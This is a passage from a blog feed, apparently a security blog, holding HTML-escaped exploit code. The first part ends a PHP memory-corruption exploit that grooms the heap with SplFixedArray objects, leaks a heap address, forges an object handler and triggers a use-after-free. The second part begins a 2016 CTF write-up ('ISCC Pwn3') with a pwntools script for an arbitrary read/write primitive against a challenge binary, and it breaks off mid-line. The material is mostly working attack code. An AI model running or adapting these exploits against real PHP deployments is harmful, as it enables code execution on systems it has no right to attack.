&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$s&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;str_repeat&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;#39;C&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;0x48&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$t&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;new&lt;&#x2F;span&gt;&lt;span style=&quot;color: #39BAE6;&quot;&gt; SplFixedArray2&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;5&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$t[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;#39;Z&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;unset&lt;&#x2F;span&gt;&lt;span&gt;($z[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;22&lt;&#x2F;span&gt;&lt;span&gt;])&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;unset&lt;&#x2F;span&gt;&lt;span&gt;($z[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;21&lt;&#x2F;span&gt;&lt;span&gt;])&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$heap_addr&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;read_ptr&lt;&#x2F;span&gt;&lt;span&gt;($s&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;0x58&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;print&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; &amp;quot;Leak Heap memory location: 0x&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; .&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt; dechex&lt;&#x2F;span&gt;&lt;span&gt;($heap_addr)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; .&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;span&gt; &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$heap_addr_of_fake_handler&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;$heap_addr&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;0x70&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;0x70&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;0x18&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;0x300&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;print&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; &amp;quot;Heap address of fake handler 0x&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; .&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt; dechex&lt;&#x2F;span&gt;&lt;span&gt;($heap_addr_of_fake_handler)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; .&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;&#x2F;&#x2F;Set Handlers&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;write_ptr&lt;&#x2F;span&gt;&lt;span&gt;($s&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt;$heap_addr_of_fake_handler&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;0x40&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;&#x2F;&#x2F;Set fake handler&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;write_ptr&lt;&#x2F;span&gt;&lt;span&gt;($s&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;0x40&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;0x300&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt; &#x2F;&#x2F;handler.offset&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;write_ptr&lt;&#x2F;span&gt;&lt;span&gt;($s&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;0x4141414141414141&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;0x308&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt; &#x2F;&#x2F;handler.free_obj&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;write_ptr&lt;&#x2F;span&gt;&lt;span&gt;($s&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;0xdeadbeef&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;0x310&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt; &#x2F;&#x2F;handler.dtor.obj&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;str_repeat&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;#39;z&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;5&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;unset&lt;&#x2F;span&gt;&lt;span&gt;($t)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;  &#x2F;&#x2F;BOOM!&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;set_exception_handler&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;#39;exception_handler&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$var_1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;new&lt;&#x2F;span&gt;&lt;span style=&quot;color: #39BAE6;&quot;&gt; SplStack&lt;&#x2F;span&gt;&lt;span&gt;()&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$z&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;array&lt;&#x2F;span&gt;&lt;span&gt;()&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;&#x2F;&#x2F;Heap management&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;for&lt;&#x2F;span&gt;&lt;span&gt; ($x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;span&gt;$x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;100&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;span&gt;$x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;++&lt;&#x2F;span&gt;&lt;span&gt;){&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$z[$x]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;new&lt;&#x2F;span&gt;&lt;span style=&quot;color: #39BAE6;&quot;&gt; SplFixedArray&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;5&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;unset&lt;&#x2F;span&gt;&lt;span&gt;($z[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;20&lt;&#x2F;span&gt;&lt;span&gt;])&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$var_1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;-&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;offsetSet&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;new&lt;&#x2F;span&gt;&lt;span style=&quot;color: #39BAE6;&quot;&gt; SplFixedArray&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;</content>
        
    </entry>
    <entry xml:lang="zh-Hans-cn">
        <title>ISCC(ISCLab) Pwn3</title>
        <published>2016-05-08T00:00:00+00:00</published>
        <updated>2016-05-08T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://blog.iret.xyz/posts/iscc-isclab-pwn3/"/>
        <id>https://blog.iret.xyz/posts/iscc-isclab-pwn3/</id>
        
        <content type="html" xml:base="https://blog.iret.xyz/posts/iscc-isclab-pwn3/">&lt;p&gt;前两天就写好了，整理了一下，现在发上来。没有写到exp那部分，只写了任意内存读写的module。&lt;&#x2F;p&gt;
&lt;p&gt;环境依旧是Python 2。&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;python&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;from&lt;&#x2F;span&gt;&lt;span&gt; pwn&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; import&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; *&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;class&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt; Shoper&lt;&#x2F;span&gt;&lt;span&gt;():&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;    def&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt; __init__&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;self&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; username&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;Test&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;):&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #39BAE6;font-style: italic;&quot;&gt;        self&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;conn&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt; process&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;#39;.&#x2F;bitshop.exec&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #39BAE6;font-style: italic;&quot;&gt;        self&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;conn&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;recvuntil&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;name: &amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #39BAE6;font-style: italic;&quot;&gt;        self&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;conn&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;send&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;%s\n&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;%&lt;&#x2F;span&gt;&lt;span&gt;username)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #39BAE6;font-style: italic;&quot;&gt;        self&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;conn&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;recvuntil&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;Your choice $ &amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;    def&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt; __del__&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;self&lt;&#x2F;span&gt;&lt;span&gt;):&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #39BAE6;font-style: italic;&quot;&gt;        self&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;conn&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;close&lt;&#x2F;span&gt;&lt;span&gt;()&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;    def&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt; _add&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;self&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; length&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;30&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; comment&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;#39;test&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; name&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;#39;test&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;):&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #39BAE6;font-style: italic;&quot;&gt;        self&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;conn&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;send&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;#39;1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #39BAE6;font-style: italic;&quot;&gt;        self&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;conn&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;recvuntil&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;comment length:&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;        assert&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #39BAE6;&quot;&gt; type&lt;&#x2F;span&gt;&lt;span&gt;(length)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; ==&lt;&#x2F;span&gt;&lt;span style=&quot;color: #39BAE6;&quot;&gt; int&lt;&#x2F;span&gt;&lt;span&gt; )&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;        assert&lt;&#x2F;span&gt;&lt;span&gt;( length&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; &amp;lt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 1023&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; and&lt;&#x2F;span&gt;&lt;span&gt; length&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; &amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 16&lt;&#x2F;span&gt;&lt;span&gt; )&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #39BAE6;font-style: italic;&quot;&gt;        self&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;conn&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;send&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;%s\n&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; %&lt;&#x2F;span&gt;&lt;span style=&quot;color: #39BAE6;&quot;&gt; 